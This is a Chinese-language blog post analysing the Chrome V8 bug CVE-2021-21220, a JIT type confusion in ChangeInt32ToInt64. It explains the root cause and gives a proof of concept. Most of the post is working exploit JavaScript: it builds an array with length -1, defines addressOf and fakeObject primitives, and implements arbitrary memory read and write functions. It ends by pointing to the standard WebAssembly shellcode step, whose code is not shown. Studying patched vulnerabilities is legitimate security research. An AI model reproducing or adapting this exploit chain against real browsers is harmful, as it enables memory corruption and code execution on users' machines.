v8漏洞任意地址读写(CVE-2021-21220)
创始人
2025-05-29 22:59:19
0

V8版本: 9.2.0
commit: 1e4b1c521a491c7487028b7f2aec550c1b36606b
漏洞文件:instruction-selector-x64.cc
漏洞函数:InstructionSelector::VisitChangeInt32ToInt64
补丁信息: https://chromium-review.googlesource.com/c/v8/v8/+/2820971/3/src/compiler/backend/x64/instruction-selector-x64.cc#1381
补丁信息

简介

这个漏洞的主要原因应该是在JIT优化时由两个点造成的:

  1. 在JavaScript中,按位运算符将其操作数转换为二进制补码格式的 32 位有符号整数, 无符号操作数与0异或变成了有符号的数,:
    arr[0]是unsigned int32 = 231 = 2147483648 = 0x8000 0000
    arr[0] ^ 0会转成signed int32 = 2
    31^0 = 0x8000 0000 = -2147483648
    这个问题是由当时协议规定的(现在协议更加详细):
    numop
  2. 函数ChangeInt32ToInt64将32位整形数向64位进行拓展,代码为判断传入的32位整型数是否为有符号从而选择movsx和mov.
    这个点联合起来就可能构造一个超长数组, 长度为-1(0xffffffff),导致越界访问读写操作, 从而导致任意代码执行.
    验证漏洞的POC如下:
print = console.log;
const arr = new Uint32Array([2**31]);       // 定义了一个只有一个元素的Uint32类型的数组
function foo() {return (arr[0] ^ 0) + 1;                // 漏洞触发
}                                       
print(foo());//-2147483647                  // 解释器工作
for(let i=0;i<100000;i++)                    // 代码价值提升,交由JIT处理foo();
print(foo());//2147483649                   //JIT处理后的结果

通过poc可以看到, JIT优化前后的输出结果不一样.

执行流分析

在优化前的SimplifiedLowering阶段, 函数处理是没有问题的, 通过#45 LoadTypedElement可以知道arr[0]的类型 Unsigned32,然后通过#31 Word32Xor处理之后类型为Signed32,然后需要做int32到int64的转换,调用了#58 ChangeInt32ToInt64,并将返回值与#59 Int64Constant[1]作为参数交由#50 ChangeInt32ToInt64处理:
ChangeInt32ToInt64
但是在MachineOperatorOptimization阶段, 将arr[0] ^ 0通过JIT在#81 Load处获取运算所得的结果,此时该结果的类型为kRepWord32[kTypeUint32],为无符号,此时仍然经过#58 ChangeInt32ToInt64进行处理:
ChangeInt32ToInt64

EXP的关键点

JavaScript函数的前几次调用期间,解释器会记录各种操作的类型信息, 比如参数访问和属性加载; 如果以后选择该函数进行JIT编译,则V8的编译器TurboFan会假定在所有后续调用中都将使用观察到的类型,并使用从解释器中得出的规则集将类型信息传播到JIT, 所以我们可以通过上面的漏洞这样构造数组:

function foo(a) {var x = 1;x = (_arr[0] ^ 0) + 1;x = Math.abs(x);x -= 2147483647;       x = Math.max(x, 0);         // predicted = 0; actual = 2x -= 1;                    // predicted = -1; actual = 1if(x==-1) x = 0;            // predicted = 0; actual = 1           var arr = new Array(x);     // predicted = 0; actual = 1arr.shift();                // predicted = 0; actual = -1var cor = [1.1, 1.2, 1.3];return [arr, cor];
}
var x = foo(false);for(var i=0;i<0x30000;++i){foo(true);
}var x = foo(false);
print(x[0].length);         // -1

在foo函数中, 开始的时候解释器在处理shift的时候判断x的值为0,正常执行,所以在JIT阶段优化掉了边界检查;而在JIT阶段因为漏洞的原因x==1,但是此时JIT仍将x的值当作0,由于x实际为1,所以shift会对数组长度做减一操作,再由于此时JIT将x的值当作0,所以最终数组的长度为0-1 == -1,这样就可以构造出了超长的数组, 可以进行越界的读写操作了:
over
有了越界读写的能力之后,我们就就是常规的进行类型混淆,构造自己的fake object,然后得到任意地址读写的能力;

addressOf and fakeObject

var arr = x[0];
var cor = x[1];
const idx = 6;arr[idx+10] = 0x2333;                          
function addressOf(k) {arr[idx+1] = k;return f2big(cor[0]) & 0xffffffffn;        }function fakeObject(k) {cor[0] = big2f(k);return arr[idx+1];         //返回的也只是低四字节
}
var test = [1.1,2.2,3.3];
test_addr = addressOf(test);
console.log(test_addr);
// %DebugPrint(arr);   
// %DebugPrint(cor);                 
// %SystemBreak();

这里需要注意的是,由于有指针压缩,所以我们只能得到4个字节的地址信息, 这里的arr其实是包含了cor的了:
cor
在这里插入图片描述

任意读写原语实现

var float_array_map = f2big(cor[3]);             
var arr2 = [big2f(float_array_map), 1.2, 2.3, 3.4];         //创建伪造对象的数组
var fake = fakeObject(addressOf(arr2) + 0x20n);             //通过fakeObject伪造对象
function arbread(addr) {if (addr % 2n == 0)addr += 1n;arr2[1] = big2f((2n << 32n) + addr - 8n);               //由于指针压缩,需要这样写地址return (fake[0]);                                      
}function arbwrite(addr, val) {if (addr % 2n == 0)addr += 1n;arr2[1] = big2f((2n << 32n) + addr - 8n);fake[0] = big2f(BigInt(val));                          
}

因为对象操作的指针,所以我们可以任意地址读写了, 然后就是常规的wasm利用了, 将shellcode替换wasm_code…

相关内容

热门资讯

linux入门---制作进度条 了解缓冲区 我们首先来看看下面的操作: 我们首先创建了一个文件并在这个文件里面添加了...
C++ 机房预约系统(六):学... 8、 学生模块 8.1 学生子菜单、登录和注销 实现步骤: 在Student.cpp的...
JAVA多线程知识整理 Java多线程基础 线程的创建和启动 继承Thread类来创建并启动 自定义Thread类的子类&#...
【洛谷 P1090】[NOIP... [NOIP2004 提高组] 合并果子 / [USACO06NOV] Fence Repair G ...
国民技术LPUART介绍 低功耗通用异步接收器(LPUART) 简介 低功耗通用异步收发器...
城乡供水一体化平台-助力乡村振... 城乡供水一体化管理系统建设方案 城乡供水一体化管理系统是运用云计算、大数据等信息化手段࿰...
程序的循环结构和random库...   第三个参数就是步长     引入文件时记得指明字符格式,否则读入不了 ...
中国版ChatGPT在哪些方面... 目录 一、中国巨大的市场需求 二、中国企业加速创新 三、中国的人工智能发展 四、企业愿景的推进 五、...
报名开启 | 共赴一场 Flu... 2023 年 1 月 25 日,Flutter Forward 大会在肯尼亚首都内罗毕...
汇编00-MASM 和 Vis... Qt源码解析 索引 汇编逆向--- MASM 和 Visual Studio入门 前提知识ÿ...
【简陋Web应用3】实现人脸比... 文章目录🍉 前情提要🌷 效果演示🥝 实现过程1. u...
前缀和与对数器与二分法 1. 前缀和 假设有一个数组,我们想大量频繁的去访问L到R这个区间的和,...
windows安装JDK步骤 一、 下载JDK安装包 下载地址:https://www.oracle.com/jav...
分治法实现合并排序(归并排序)... 🎊【数据结构与算法】专题正在持续更新中,各种数据结构的创建原理与运用✨...
在linux上安装配置node... 目录前言1,关于nodejs2,配置环境变量3,总结 前言...
Linux学习之端口、网络协议... 端口:设备与外界通讯交流的出口 网络协议:   网络协议是指计算机通信网...
Linux内核进程管理并发同步... 并发同步并发 是指在某一时间段内能够处理多个任务的能力,而 并行 是指同一时间能够处理...
opencv学习-HOG LO... 目录1. HOG(Histogram of Oriented Gradients,方向梯度直方图)1...
EEG微状态的功能意义 导读大脑的瞬时全局功能状态反映在其电场结构上。聚类分析方法一致地提取了四种头表面脑电场结构ÿ...
【Unity 手写PBR】Bu... 写在前面 前期积累: GAMES101作业7提高-实现微表面模型你需要了解的知识 【技...